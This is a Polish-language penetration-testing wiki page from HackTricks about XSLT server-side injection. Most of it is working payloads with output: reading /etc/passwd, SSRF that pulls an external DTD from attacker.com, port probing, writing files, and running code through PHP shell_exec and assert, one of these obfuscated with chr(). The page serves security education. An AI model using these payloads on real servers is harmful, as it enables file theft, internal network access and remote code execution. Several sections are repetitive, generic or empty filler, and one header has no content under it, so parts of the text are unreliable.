Polish - Ht
HackTricks Training Twitter Linkedin Sponsor

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Podstawowe informacje

XSLT to technologia stosowana do przekształcania dokumentów XML na różne formaty. Istnieją trzy wersje: 1, 2 i 3, z czego wersja 1 jest najczęściej używana. Proces transformacji może być wykonywany zarówno po stronie serwera, jak i w przeglądarce.

Najczęściej używane frameworki to:

  • Libxslt od Gnome,

  • Xalan od Apache,

  • Saxon od Saxonica.

Aby wykorzystać podatności związane z XSLT, konieczne jest przechowywanie znaczników xsl po stronie serwera, a następnie uzyskanie do nich dostępu. Przykład takiej podatności został udokumentowany w następującym źródle: https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.

Przykład - Samouczek

sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
xml.xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
xsl.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

Wykonaj:

saxonb-xslt -xsl:xsl.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>

Odcisk palca

detection.xsl
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

I wykonaj

$saxonb-xslt -xsl:detection.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

Odczytaj lokalny plik

read.xsl
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF

Server-Side Request Forgery (SSRF) to atak polegający na zmuszaniu serwera do wykonania żądania HTTP na zewnętrznym zasobie, zamiast na zamierzonej lokalizacji. Atakujący może wykorzystać tę lukę, aby uzyskać dostęp do wrażliwych danych lub sieci wewnętrznej.

Przykłady ataku SSRF

  1. Wykorzystanie funkcji do pobierania plików

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xsl:stylesheet [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace">
  <xsl:output method="text" encoding="UTF-8"/>
  <xsl:template match="/">
    <xsl:value-of select="document(&file;)"/>
  </xsl:template>
</xsl:stylesheet>

  1. Wykorzystanie funkcji do wykonania żądań HTTP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xsl:stylesheet [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace">
  <xsl:output method="text" encoding="UTF-8"/>
  <xsl:template match="/">
    <xsl:variable name="response" select="user:sendRequest('http://internal-server.com/secret-data')"/>
    <xsl:value-of select="$response"/>
  </xsl:template>
</xsl:stylesheet>

Zabezpieczenia przed atakami SSRF

  • Walidacja i filtrowanie danych wejściowych, aby zapobiec wstrzykiwaniu złośliwych URI.

  • Ograniczenie uprawnień serwera, aby uniemożliwić dostęp do wrażliwych danych lub sieci wewnętrznej.

  • Używanie białej listy zezwoleń dla żądań HTTP, aby ograniczyć dostęp tylko do zaufanych zasobów.

  • Monitorowanie i rejestrowanie żądań HTTP, aby wykryć podejrzane aktywności.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

Wersje

Może być więcej lub mniej funkcji, w zależności od użytej wersji XSLT:

Odcisk palca

Prześlij to i uzyskaj informacje

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

SSRF

Server-Side Request Forgery (SSRF) to atak polegający na zmuszaniu serwera do wykonania żądania HTTP na zewnętrznym zasobie, zamiast na zamierzonej lokalizacji. Atakujący może wykorzystać tę lukę, aby uzyskać dostęp do wrażliwych danych lub sieci wewnętrznej.

Wykorzystanie SSRF

SSRF można wykorzystać na różne sposoby, takie jak:

  • Skanowanie sieci wewnętrznej: Atakujący może wykorzystać SSRF do skanowania sieci wewnętrznej, identyfikując dostępne usługi i otwarte porty.

  • Wykradanie danych: Atakujący może wykorzystać SSRF do uzyskania dostępu do wrażliwych danych, takich jak hasła, klucze API lub pliki konfiguracyjne.

  • Ataki na usługi wewnętrzne: Atakujący może wykorzystać SSRF do atakowania usług wewnętrznych, takich jak bazy danych, serwery plików lub kolejki wiadomości.

Techniki SSRF

SSRF można wykorzystać za pomocą różnych technik, takich jak:

  • Wykorzystanie funkcji URL: Atakujący może manipulować parametrami URL, aby zmusić serwer do wykonania żądania na zewnętrznym zasobie.

  • Wykorzystanie protokołów nie-HTTP: Atakujący może wykorzystać protokoły takie jak FTP, SMB lub DNS, aby uzyskać dostęp do zasobów wewnętrznych.

  • Wykorzystanie błędów parsowania: Atakujący może wykorzystać błędy parsowania danych wejściowych, takie jak XML lub JSON, aby zmusić serwer do wykonania nieautoryzowanych żądań.

Zapobieganie SSRF

Aby zapobiec atakom SSRF, można podjąć następujące środki ostrożności:

  • Walidacja i filtrowanie danych wejściowych: Należy dokładnie sprawdzać i filtrować wszelkie dane wejściowe, takie jak parametry URL, aby zapobiec manipulacji.

  • Ograniczenie uprawnień: Należy ograniczyć uprawnienia serwera, aby uniemożliwić dostęp do wrażliwych danych lub sieci wewnętrznej.

  • Używanie białej listy adresów URL: Należy używać białej listy adresów URL, aby ograniczyć dostęp do zaufanych zasobów.

  • Monitorowanie i reagowanie: Należy monitorować logi serwera i reagować na podejrzane aktywności, takie jak nieautoryzowane żądania HTTP.

Podsumowanie

SSRF to potencjalnie niebezpieczna luka w zabezpieczeniach, która może prowadzić do nieautoryzowanego dostępu do wrażliwych danych lub sieci wewnętrznej. Aby zapobiec atakom SSRF, należy dokładnie walidować i filtrować dane wejściowe oraz ograniczać uprawnienia serwera. Monitorowanie logów serwera jest również ważne w celu wykrywania i reagowania na podejrzane aktywności.

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

Wstrzykiwanie kodu JavaScript

Wstrzykiwanie kodu JavaScript jest jedną z najczęściej wykorzystywanych technik ataku na aplikacje internetowe. Pozwala ona na wykonanie kodu JavaScript na stronie internetowej, co może prowadzić do różnych niepożądanych skutków, takich jak kradzież danych, przechwytywanie sesji użytkownika czy złośliwe przekierowania.

Sposoby wstrzykiwania kodu JavaScript

  1. Wstrzykiwanie kodu JavaScript w pola formularzy: Atakujący może wstrzyknąć kod JavaScript poprzez wprowadzenie go w pola formularzy, takie jak pola tekstowe czy pola wyboru. Gdy użytkownik wysyła formularz, kod JavaScript zostaje wykonany na stronie.

  2. Wstrzykiwanie kodu JavaScript w adres URL: Atakujący może dodać kod JavaScript do adresu URL, który zostanie wykonany po załadowaniu strony. Może to prowadzić do przechwycenia danych lub wykonania innych złośliwych działań.

  3. Wstrzykiwanie kodu JavaScript poprzez błędy w walidacji: Jeśli aplikacja internetowa nieprawidłowo waliduje dane wprowadzane przez użytkownika, atakujący może wykorzystać ten błąd do wstrzyknięcia kodu JavaScript.

Skutki wstrzykiwania kodu JavaScript

Wstrzyknięcie kodu JavaScript może prowadzić do różnych niebezpiecznych sytuacji, takich jak:

  • Kradzież danych: Atakujący może wykorzystać wstrzyknięty kod JavaScript do kradzieży poufnych danych, takich jak hasła, dane osobowe czy informacje finansowe.

  • Przechwycenie sesji użytkownika: Wstrzyknięcie kodu JavaScript może umożliwić atakującemu przechwycenie sesji użytkownika, co pozwala mu na przejęcie kontroli nad kontem użytkownika.

  • Złośliwe przekierowania: Atakujący może wykorzystać wstrzyknięty kod JavaScript do przekierowania użytkownika na złośliwe strony internetowe, które mogą zawierać złośliwe oprogramowanie.

Zapobieganie wstrzykiwaniu kodu JavaScript

Aby zapobiec wstrzykiwaniu kodu JavaScript, należy podjąć następujące środki ostrożności:

  • Walidacja danych: Upewnij się, że wszystkie dane wprowadzane przez użytkownika są prawidłowo walidowane i filtrowane, aby zapobiec wstrzykiwaniu kodu JavaScript.

  • Używanie bezpiecznych funkcji: Korzystaj z bezpiecznych funkcji i bibliotek do manipulacji danymi, takich jak funkcje do kodowania i dekodowania danych.

  • Ograniczanie uprawnień: Ogranicz uprawnienia użytkowników do minimalnego niezbędnego poziomu, aby zmniejszyć ryzyko wstrzykiwania kodu JavaScript.

  • Regularne aktualizacje: Regularnie aktualizuj oprogramowanie i biblioteki, aby zapobiec wykorzystaniu znanych podatności.

  • Monitorowanie logów: Monitoruj logi aplikacji w celu wykrywania i reagowania na próby wstrzykiwania kodu JavaScript.

Podsumowanie

Wstrzykiwanie kodu JavaScript jest powszechnie wykorzystywaną techniką ataku na aplikacje internetowe. Aby zapobiec temu rodzajowi ataku, należy odpowiednio walidować dane wprowadzane przez użytkowników, korzystać z bezpiecznych funkcji i bibliotek, ograniczać uprawnienia użytkowników oraz regularnie aktualizować oprogramowanie. Monitorowanie logów aplikacji jest również ważne w celu wykrywania i reagowania na próby wstrzykiwania kodu JavaScript.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

Wyświetlanie katalogu (PHP)

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Assert (var_dump + scandir + false)

Assert (var_dump + scandir + false) to technika wykorzystująca wstrzyknięcie kodu XSLT (Extensible Stylesheet Language Transformations) w celu uzyskania informacji o serwerze i przeglądaniu jego plików. Ta technika polega na wykorzystaniu funkcji var_dump() do wyświetlenia zawartości obiektu, a następnie funkcji scandir() do przeglądania plików na serwerze. Ustawienie wartości false w celu uniknięcia wyświetlania błędów.

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>

Wczytywanie plików

Wewnętrzne - PHP

W przypadku ataku XSLT Server-Side Injection, możemy wykorzystać funkcję document() w celu odczytania plików na serwerze. Funkcja document() pozwala na odczytanie plików z lokalnego systemu plików lub z sieci.

Aby odczytać plik z lokalnego systemu plików, możemy użyć następującego kodu:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

W powyższym przykładzie odczytujemy plik /etc/passwd z lokalnego systemu plików.

Aby odczytać plik z sieci, możemy użyć następującego kodu:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="document('http://example.com/secret.txt')"/>
  </xsl:template>
</xsl:stylesheet>

W powyższym przykładzie odczytujemy plik secret.txt z witryny http://example.com.

Pamiętaj, że dostęp do plików może być ograniczony przez uprawnienia serwera, więc nie zawsze będziesz w stanie odczytać dowolny plik.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>

Wewnętrzne - XXE

XXE (ang. External Entity Injection) to atak, który wykorzystuje podatność w przetwarzaniu danych XML. Atakujący może wstrzyknąć zewnętrzne encje do dokumentu XML, co może prowadzić do ujawnienia poufnych informacji, wykonania zdalnego kodu lub ataków typu DoS (Denial of Service).

Podatność na XXE w XSLT

Podatność na XXE może wystąpić w przypadku przetwarzania danych XML za pomocą XSLT (Extensible Stylesheet Language Transformations). XSLT jest językiem służącym do transformacji dokumentów XML na inne formaty, takie jak HTML lub tekst.

Wykorzystanie XXE w XSLT

Aby wykorzystać podatność na XXE w XSLT, atakujący może wstrzyknąć zewnętrzne encje do arkusza stylów XSLT. Może to być osiągnięte poprzez odwołanie się do zewnętrznego pliku DTD (Document Type Definition) lub za pomocą encji wbudowanych w sam dokument XML.

Skutki XXE w XSLT

Wykorzystanie XXE w XSLT może prowadzić do różnych skutków, takich jak:

  • Ujawnienie poufnych informacji: Atakujący może uzyskać dostęp do poufnych danych, takich jak hasła, klucze API, dane użytkowników itp.

  • Wykonanie zdalnego kodu: Atakujący może wykonać dowolny kod na serwerze, co może prowadzić do pełnej kontroli nad systemem.

  • Ataki typu DoS: Atakujący może spowodować niedostępność usługi poprzez wykorzystanie dużych zasobów serwera.

Zapobieganie XXE w XSLT

Aby zapobiec atakom XXE w XSLT, należy podjąć następujące środki ostrożności:

  • Wyłączenie obsługi zewnętrznych encji: Wyłączenie obsługi zewnętrznych encji w parserze XML może zapobiec atakom XXE.

  • Walidacja danych wejściowych: Należy dokładnie sprawdzać i walidować dane wejściowe, aby upewnić się, że nie zawierają złośliwych encji.

  • Używanie bezpiecznych parserów XML: Wybieranie bezpiecznych parserów XML, które domyślnie wyłączają obsługę zewnętrznych encji, może pomóc w zapobieganiu atakom XXE.

Podsumowanie

XXE w XSLT to poważna podatność, która może prowadzić do ujawnienia poufnych informacji, wykonania zdalnego kodu lub ataków typu DoS. Aby zapobiec atakom XXE, należy wyłączyć obsługę zewnętrznych encji, dokładnie walidować dane wejściowe i używać bezpiecznych parserów XML.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

Przez HTTP

XSLT Server-Side Injection (XSSI) is a technique that allows an attacker to inject malicious XSLT code into a vulnerable server-side application. This can lead to various security vulnerabilities, such as information disclosure, remote code execution, and server-side request forgery.

XSLT (Extensible Stylesheet Language Transformations) is a language used to transform XML documents into other formats, such as HTML or plain text. It is commonly used in web applications to generate dynamic content.

To perform an XSSI attack, the attacker needs to identify a vulnerable server-side application that uses XSLT transformations. This can be done through manual analysis or automated scanning tools.

Once a vulnerable application is identified, the attacker can craft a malicious XSLT payload and inject it into the application. The payload can be designed to exploit specific vulnerabilities or perform general attacks, such as extracting sensitive information from the server or executing arbitrary code.

The injection of the payload can be done through various vectors, such as user input fields, HTTP headers, or XML data. The attacker needs to understand the application's input validation and processing mechanisms to successfully inject the payload.

To mitigate XSSI attacks, developers should implement proper input validation and output encoding techniques. They should also avoid using user-supplied data directly in XSLT transformations without proper sanitization.

Pentesters can detect XSSI vulnerabilities by analyzing the application's response for unexpected XSLT processing errors or by injecting payloads and observing the server's response.

Overall, XSSI attacks can have severe consequences for the security of a web application. It is important for developers and pentesters to be aware of this technique and take appropriate measures to prevent and detect such attacks.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

Wewnętrzne (funkcja PHP)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>

Skanowanie portów

Port scanowanie jest jedną z podstawowych technik używanych podczas testów penetracyjnych. Polega na skanowaniu otwartych portów na docelowym systemie w celu identyfikacji usług działających na tych portach. Skanowanie portów może pomóc w zidentyfikowaniu potencjalnych podatności i słabych punktów w systemie.

Istnieje wiele narzędzi dostępnych do przeprowadzania skanowania portów, takich jak Nmap, Masscan, Zmap, itp. Te narzędzia umożliwiają skanowanie pojedynczych portów, zakresów portów lub nawet całych sieci w poszukiwaniu otwartych portów.

Podczas skanowania portów istnieją różne techniki, takie jak skanowanie SYN, skanowanie TCP, skanowanie UDP, skanowanie ACK, skanowanie FIN, skanowanie Xmas, itp. Każda z tych technik ma swoje własne zastosowanie i może dostarczyć różnych informacji na temat otwartych portów i usług.

Skanowanie portów jest ważnym krokiem w procesie testów penetracyjnych, ponieważ umożliwia identyfikację potencjalnych wektorów ataku i podatności. Jest to również przydatne narzędzie dla administratorów systemów, którzy chcą monitorować i zabezpieczać swoje sieci przed nieautoryzowanym dostępem.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

Zapisz do pliku

XSLT 2.0

XSLT 2.0 umożliwia zapisywanie danych do pliku przy użyciu funkcji xsl:result-document. Ta funkcja pozwala na zapisywanie wyników przekształceń XSLT do pliku na serwerze. Aby to zrobić, należy podać ścieżkę do pliku jako argument funkcji xsl:result-document. Na przykład:

<xsl:result-document href="sciezka/do/pliku.txt">
    <xsl:text>Zawartosc pliku</xsl:text>
</xsl:result-document>

W powyższym przykładzie, wynik przekształcenia XSLT zostanie zapisany do pliku o nazwie "plik.txt" na serwerze. Można również użyć zmiennych XSLT do dynamicznego tworzenia ścieżki do pliku.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Rozszerzenie Xalan-J

Xalan-J jest popularnym narzędziem do przetwarzania języka XSLT (Extensible Stylesheet Language Transformations). Jest to biblioteka Java, która umożliwia tworzenie i stosowanie arkuszy stylów XSLT w celu transformacji dokumentów XML.

Jednak Xalan-J zawiera również rozszerzenia, które mogą być wykorzystane do wykonania kodu Java na serwerze poprzez wstrzyknięcie kodu XSLT. To zjawisko jest znane jako XSLT Server-Side Injection.

W przypadku ataku XSLT Server-Side Injection, atakujący może wstrzyknąć kod XSLT, który zostanie wykonany na serwerze. To może prowadzić do różnych konsekwencji, takich jak odczyt plików, wykonanie dowolnego kodu Java, a nawet zdalne wykonanie kodu.

Aby przeprowadzić atak XSLT Server-Side Injection, atakujący musi znaleźć podatny punkt końcowy, który akceptuje dane wejściowe XSLT i wykonuje je na serwerze. Następnie atakujący może wstrzyknąć złośliwy kod XSLT, który zostanie wykonany na serwerze.

Aby zabezpieczyć się przed atakami XSLT Server-Side Injection, należy:

  • Unikać bezpośredniego wykonania kodu XSLT na serwerze.

  • Sprawdzać i filtrować dane wejściowe XSLT, aby zapobiec wstrzyknięciu złośliwego kodu.

  • Używać najnowszych wersji bibliotek Xalan-J, które mogą zawierać poprawki związane z bezpieczeństwem.

Ważne jest, aby zrozumieć zagrożenia związane z XSLT Server-Side Injection i podjąć odpowiednie środki ostrożności, aby chronić serwery przed tym rodzajem ataku.

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

Inne sposoby zapisywania plików w formacie PDF

Dodawanie zewnętrznego XSL

<xsl:include href="http://extenal.web/external.xsl"/>
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

Wykonaj kod

php:function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

Wykonaj kod za pomocą innych frameworków w pliku PDF

Więcej języków

Na tej stronie znajdziesz przykłady RCE w innych językach: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

Dostęp do statycznych funkcji PHP z klas

Następująca funkcja wywoła statyczną metodę stringToUrl z klasy XSL:

<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>

(Przykład z http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)

Więcej Payloadów

Lista wykrywania Brute-Force

LogoAuto_Wordlists/xslt.txt at main · carlospolop/Auto_WordlistsGitHub

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
PreviousXPATH injectionNextXXE - XEE - XML External Entity

Last updated